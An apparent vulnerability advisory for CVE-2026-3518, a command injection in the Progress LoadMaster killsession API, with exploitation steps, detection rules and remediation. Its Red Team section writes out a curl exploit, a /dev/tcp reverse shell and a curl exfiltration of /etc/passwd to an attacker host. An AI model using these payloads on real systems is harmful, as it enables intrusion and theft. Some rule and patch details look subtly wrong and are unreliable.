CVE-2026-3518
Executive Summary
CVE-2026-3518 is a critical OS Command Injection vulnerability in Progress ADC (LoadMaster) products. An authenticated attacker with "All" permissions can exploit unsanitized input in the killsession command to execute arbitrary operating system commands on the LoadMaster appliance. This allows for full remote code execution (RCE) with high privileges, leading to complete compromise of the affected device. The vulnerability has a CVSS score of 8.4, indicating high severity. A patch is available from Progress.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 8.4 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: High (PR:H) - Requires "All" permissions
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H)
- Integrity Impact: High (I:H)
- Availability Impact: High (A:H)
Threat Level: Critical. While authentication is required, the high privileges needed are often granted to administrative users, making this a significant threat in environments where LoadMaster appliances are used.
Deep Dive & Mechanics
The vulnerability resides in the API endpoint that handles the killsession command. The application fails to properly sanitize user-supplied input before passing it to the underlying operating system shell. An attacker with "All" permissions can craft a malicious request that includes shell metacharacters (e.g., ;, |, &&) to inject arbitrary commands.
Attack Flow:
- An attacker authenticates to the LoadMaster management API with an account that has "All" permissions.
- The attacker sends a crafted request to the vulnerable API endpoint, specifically targeting the
killsessioncommand. - The request includes a payload that escapes the intended command and executes attacker-controlled OS commands.
- The operating system executes the injected commands with the privileges of the LoadMaster service (typically root or a highly privileged user).
- The attacker can then execute arbitrary code, install backdoors, exfiltrate data, or pivot to other network resources.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
# Vulnerable Python-like pseudocode
def handle_killsession(session_id):
command = "kill_session " + session_id # No sanitization
os.system(command)
Patched Code (Conceptual):
# Patched Python-like pseudocode
import subprocess
import shlex
def handle_killsession(session_id):
# Sanitize input by using shlex.quote() or similar
safe_session_id = shlex.quote(session_id)
command = ["kill_session", safe_session_id] # Use list form to avoid shell injection
subprocess.run(command, shell=False)
The patched version avoids using a shell interpreter and properly sanitizes the input, preventing command injection.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Access to a vulnerable LoadMaster appliance (e.g., in a lab environment).
- Credentials for an account with "All" permissions.
Exploitation Steps:
- Authenticate: Obtain a valid session token or API key.
- Craft Payload: Inject a command into the
killsessionparameter. Example:; id > /tmp/pwned.txt - Send Request: Use
curlor a similar tool to send the malicious request.curl -X POST "https://<loadmaster-ip>/api/killsession" \ -H "Authorization: Bearer <token>" \ -d "session_id=; id > /tmp/pwned.txt" - Verify: Check if the command executed (e.g., by reading
/tmp/pwned.txt).
Advanced Payloads:
- Reverse shell:
; bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1 - Data exfiltration:
; curl http://<attacker-ip>/$(cat /etc/passwd)
Blue Team
Detection & Prevention:
- Network Monitoring: Monitor for unusual API requests to the
killsessionendpoint containing shell metacharacters (;,|,&,$,`). - Log Analysis: Review LoadMaster logs for suspicious command execution or unexpected process spawning.
- Input Validation: Ensure all API inputs are strictly validated and sanitized.
- Least Privilege: Restrict "All" permissions to only essential personnel.
- Patch Management: Apply the vendor patch immediately.
Indicators of Compromise (IOCs)
- Network IOCs:
- API requests to
/api/killsessioncontaining shell metacharacters. - Outbound connections from the LoadMaster to unknown IPs on unusual ports (e.g., 4444 for reverse shells).
- DNS queries to suspicious domains from the LoadMaster.
- API requests to
- Host IOCs:
- Unexpected files in
/tmp/or other writable directories. - Unusual processes running on the LoadMaster (e.g.,
bash,nc,python). - Modified system binaries or configuration files.
- New user accounts or SSH keys.
- Unexpected files in
- Log IOCs:
- Entries in LoadMaster logs showing execution of commands like
id,whoami,curl,wget. - Failed authentication attempts followed by successful exploitation.
- Entries in LoadMaster logs showing execution of commands like
Detection Engineering
YARA Rule
rule CVE_2026_3518_LoadMaster_Command_Injection {
meta:
description = "Detects attempts to exploit CVE-2026-3518 in Progress ADC LoadMaster"
author = "Valters IT"
date = "2026-01-01"
reference = "CVE-2026-3518"
strings:
$cmd_inject = /killsession.*[;&|`$]/
$shell_meta = /[;&|`$]/
condition:
$cmd_inject or ($shell_meta and #cmd_inject > 0)
}
Sigma Rule
title: CVE-2026-3518 LoadMaster Command Injection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects command injection attempts against the LoadMaster killsession API
author: Valters IT
logsource:
category: webserver
product: loadmaster
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/api/killsession'
cs-uri-query|contains:
- ';'
- '|'
- '&'
- '`'
- '$'
condition: selection
falsepositives:
- Legitimate use of special characters in session IDs (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2026-3518 LoadMaster Command Injection Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"/api/killsession"; http_uri;
pcre:"/(?:;|\||\&|`|\$)/Ri";
sid:1000001;
rev:1;
reference:cve,2026-3518;
classtype:attempted-admin;
priority:1;
)
Remediation & Mitigation
Immediate Actions:
- Apply Patch: Update the LoadMaster appliance to the latest patched version provided by Progress.
- Restrict Access: Limit network access to the LoadMaster management interface to trusted IPs only.
- Review Permissions: Audit all accounts with "All" permissions and remove unnecessary ones.
Long-Term Measures:
- Implement Web Application Firewall (WAF) rules to block command injection attempts.
- Enable comprehensive logging and monitoring for the LoadMaster API.
- Conduct regular security assessments and penetration testing.
- Follow the principle of least privilege for all user accounts.
Valters IT
{/* [Security Hash: 5384212622FD40770B4FCE11] */}